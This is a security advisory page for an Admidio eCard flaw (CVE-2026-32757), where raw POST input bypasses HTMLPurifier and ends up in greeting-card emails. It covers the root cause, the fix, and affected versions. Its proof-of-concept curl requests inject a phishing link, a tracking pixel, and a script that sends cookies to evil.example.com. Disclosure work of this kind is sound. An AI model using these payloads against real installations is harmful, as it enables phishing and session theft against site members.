CVE-2026-32757 — admidio/admidio
MEDIUMCVE-2026-32757 is a medium-severity (CVSS 5.4) Cross-site Scripting (XSS) vulnerability in admidio/admidio. A fix is available for admidio/admidio — see the affected versions and patch details below.
Admidio: HTMLPurifier Bypass in eCard Message Allows HTML Email Injection
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-32757.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-32757 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 378,156 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
admidio/admidioReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The eCard send handler in Admidio uses the raw $_POST['ecard_message'] value instead of the HTMLPurifier-sanitized $formValues['ecard_message'] when constructing the greeting card HTML. This allows an authenticated attacker to inject arbitrary HTML and JavaScript into greeting card emails sent to other members, bypassing the server-side HTMLPurifier sanitization that is properly applied to the ecard_message field during form validation.
Details
Root Cause
File: D:\bugcrowd\admidio\repo\modules\photos\ecard_send.php
At line 38, the raw POST value is captured BEFORE form validation runs:
$postMessage = $_POST['ecard_message']; // Line 38: RAW value
At line 61, the form validation runs and properly sanitizes the message through HTMLPurifier (since ecard_message is registered as an editor field):
$formValues = $photosEcardSendForm->validate($_POST); // Line 61: sanitized
The sanitized value is stored in $formValues['ecard_message'], but this value is never used. Instead, the raw $postMessage is passed to parseEcardTemplate() at lines 159 and 201:
$ecardHtmlData = $funcClass->parseEcardTemplate($imageUrl, $postMessage, ...); // Line 159
$ecardHtmlData = $funcClass->parseEcardTemplate($imageUrl, $postMessage, ...); // Line 201
Template Injection
File: D:\bugcrowd\admidio\repo\src\Photos\ValueObject\ECard.php, line 144
The parseEcardTemplate() method places the message directly into the HTML template without any encoding:
$pregRepArray['/<%ecard_message%>/'] = $ecardMessage; // Line 144: no encoding
Compare this to the recipient fields which ARE properly encoded:
$pregRepArray['/<%ecard_reciepient_email%>/'] = SecurityUtils::encodeHTML($recipientEmail); // Line 135
$pregRepArray['/<%ecard_reciepient_name%>/'] = SecurityUtils::encodeHTML($recipientName); // Line 136
Inconsistency with Preview
File: D:\bugcrowd\admidio\repo\modules\photos\ecard_preview.php, line 56
The preview correctly uses the sanitized value:
$smarty->assign('ecardContent', $funcClass->parseEcardTemplate($imageUrl, $formValues['ecard_message'], ...));
This means the preview shows the sanitized version, but the actual sent email contains the unsanitized content.
Delivery Mechanism
The unsanitized HTML is delivered via two channels:
-
HTML Email (primary vector): At line 218 of
ECard.php, the parsed template is set as the email body via$email->setText($ecardHtmlData)followed by$email->setHtmlMail(). The malicious HTML is rendered by the recipient's email client. -
Database Storage: At line 214 of
ecard_send.php,$message->addContent($ecardHtmlData)stores the raw HTML in the messages table. However,MessageContent::getValue()appliesSecurityUtils::encodeHTML()on output, mitigating the stored XSS in the web interface.
PoC
Prerequisites: Logged-in user with access to the photo module and eCard feature enabled.
Step 1: Send an eCard with injected HTML
curl -X POST "https://TARGET/adm_program/modules/photos/ecard_send.php" \
-H "Cookie: ADMIDIO_SESSION_ID=<session>" \
-d "adm_csrf_token=<csrf_token>" \
-d "ecard_template=<valid_template.tpl>" \
-d "photo_uuid=<valid_photo_uuid>" \
-d "photo_nr=1" \
-d "ecard_message=<h1>Important Security Update</h1><p>Your account has been compromised. Please <a href='https://evil.example.com/phishing'>verify your identity here</a>.</p><img src='https://evil.example.com/tracking.gif'>" \
-d "ecard_recipients[]=<target_user_uuid>"
The HTMLPurifier validation runs but its result is discarded. The raw HTML including the phishing link and tracking pixel is sent in the greeting card email.
Step 2: Escalated payload with script injection
curl -X POST "https://TARGET/adm_program/modules/photos/ecard_send.php" \
-H "Cookie: ADMIDIO_SESSION_ID=<session>" \
-d "adm_csrf_token=<csrf_token>" \
-d "ecard_template=<valid_template.tpl>" \
-d "photo_uuid=<valid_photo_uuid>" \
-d "photo_nr=1" \
-d "ecard_message=<script>document.location='https://evil.example.com/steal?cookie='+document.cookie</script>" \
-d "ecard_recipients[]=<target_user_uuid>"
Most modern email clients block script execution, but older clients or webmail interfaces with relaxed CSP may execute it.
Impact
- Phishing via Trusted Sender: The attacker sends crafted greeting cards that appear to come from the organization's system. The email sender address is the attacker's real address from their Admidio profile, but the email template and branding make it appear legitimate.
- HTML Email Injection: Arbitrary HTML content including fake forms, misleading links, and tracking pixels can be injected into emails sent to any member or role.
- Scope Change: The vulnerability crosses a security boundary -- the attack originates from the Admidio web application but impacts email recipients who may view the content outside of Admidio.
- Bypasses Defense-in-Depth: The HTMLPurifier sanitization is applied but its result is discarded, defeating the intended security control.
Recommended Fix
In ecard_send.php, use the sanitized $formValues['ecard_message'] instead of the raw $_POST['ecard_message']:
// Line 38: Remove this line
// $postMessage = $_POST['ecard_message'];
// After line 61 (form validation), use the sanitized value:
$formValues = $photosEcardSendForm->validate($_POST);
$postMessage = $formValues['ecard_message'];
Additionally, in ECard::parseEcardTemplate(), apply encoding to the message placeholder as defense-in-depth, or at minimum document that the message is expected to contain trusted HTML:
// The message has already been sanitized by HTMLPurifier,
// so it can safely contain allowed HTML tags
$pregRepArray['/<%ecard_message%>/'] = $ecardMessage;
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | admidio/admidio | all versions | 5.0.7composer require admidio/admidio:^5.0.7 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for admidio/admidio, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update admidio/admidio to 5.0.7 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-32757 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-32757 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-32757. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-32757 in your dependencies?
O3 Security finds CVE-2026-32757 across Packagist dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.